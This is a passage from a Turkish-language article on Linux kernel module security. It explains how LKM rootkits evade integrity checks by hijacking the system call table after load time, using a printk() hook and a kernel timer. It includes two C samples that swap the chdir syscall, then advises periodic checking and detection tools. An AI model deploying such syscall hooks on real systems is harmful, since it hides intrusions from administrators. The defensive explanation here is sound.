Ancak, bu durumda bile bütünlük testlerini atlatmak olasıdır. (Örnekler, Tim Lawless, Mixman ve benim e-iletilerden alınmıştır. Kaynak kod ise, Mixman'ın çalışmasıdır.)
hacked_printk()
fonksiyonuna atlayabilmesi (jump)
için init_module()
deki ilk byte'ları değiştiriyoruz
(örneğimizdeki printk()
).
/* Extract from printk_exploit.c by Mixman */ static unsigned char hacked = 0; /* hacked_printk() replaces system call. Next, we execute "normal" printk() for everything to work properly. */ asmlinkage int hacked_printk(const char* fmt,...) { va_list args; char buf[4096]; int i; if(!fmt) return 0; if(!hacked) { sys_call_table[SYS_chdir] = hacked_chdir; hacked = 1; } memset(buf,0,sizeof(buf)); va_start(args,fmt); i = vsprintf(buf,fmt,args); va_end(args); return i; }
init_module()
'e yerleştirilmiş bütünlük testi,
modül yükleme sırasında hiçbir sistem çağrısının değiştirilmediğini
onaylamaktadır. Ancak, printk()
'ın bir sonraki
kullanımında değişiklik yapılmış olur...init_module()
'de zamanlayıcı
saati çalıştırmakla, modül yükleme sırasından çok daha sonra değişiklik yapmak
olasıdır. Bütünlük testleri modüllerin yüklenmesi ve kaldırılması sırasında
yapıldığı için saldırı gözden kaçmış olur:(
/* timer_exploit.c by Mixman */ #define TIMER_TIMEOUT 200 extern void* sys_call_table[]; int (*org_chdir)(const char*); static timer_t timer; static unsigned char hacked = 0; asmlinkage int hacked_chdir(const char* path) { printk("Some sort of periodic checking could be a solution...\n"); return org_chdir(path); } void timer_handler(unsigned long arg) { if(!hacked) { hacked = 1; org_chdir = sys_call_table[SYS_chdir]; sys_call_table[SYS_chdir] = hacked_chdir; } } int init_module(void) { printk("Adding kernel timer...\n"); memset(&timer,0,sizeof(timer)); init_timer(&timer); timer.expires = jiffies + TIMER_TIMEOUT; timer.function = timer_handler; add_timer(&timer); printk("Syscall sys_chdir() should be modified in a few seconds\n"); return 0; } void cleanup_module(void) { del_timer(&timer); sys_call_table[SYS_chdir] = org_chdir; }Şu anda zor olan, bütünlük testini sadece modül yükleme ve kaldırma sırasında değil, belli aralıklarla çalıştırmaktadır.
Sistem bütünlüğünü sağlamak pek kolay bir iş değildir. Testler güvenilir olmasına karşın, bunları atlatacak bir sürü de yöntem vardır. Sisteme yapılmış bir girişten şüphelendiğinde hiçbir şeye güvenmemekte yarar vardır. Denemeler için,en iyisi sistemi kapatıp yenisini çalıştırmaktır.
Burada anlatılan araç ve yöntemler iki yönlüdür. Bunlar sistem yöneticilere olduğu kadar,
kırıcılar için de yarar sağlarlar. rootshell
modülünde gördüğümüz gibi,
kimin neyi çalıştırdığı da denetlenebilir.
Eğer, bütünlük testleri iyi yapılırsa, kalsik root-kit'leri yakalamak kolaydır. Modüllere dayalı olanları yakalamak ise, daha zordur. Bunları belirleyebilecek araçlar üzerinde çalışılmaktadır. Modüllerin kendilerinde olduğu gibi, bunların yapabilecekleri de sınırlıdır. Çekirdek güvenliği gün geçtikçe önem kazanmaktadır. Bunun bir kanıtı olarak Linus'un 2.5 sürümlü çekirdek güvenlikten sorumlu bir modülün yazımı istemesidir. Düşüncelerdeki bu değişiklik, Openwall, Pax, LIDS, kernelli gibi var olan yamaların çokluğundan da kaynaklanmaktadır.
Her neyse, unutmayın ki işgal edilmiş bir sistem kendi bütünlüğünü denetleyemez. Ne programlarına ne de verdiği bilgilerine güvenebilirsiniz.
adore
ve knark
, yani en ünlü lkm root-kit'lerini bulacaksınız;/dev/kmem
'ın incelenmesini sağlayan kstat
;aide
Gelişmiş Saldırı Sezimleme Ortamı (Advanced Intrusion Detection Environment)
tamamen serbest, yani açık kod olan ve tripwire
yerini alan etkili bir yazılımdır.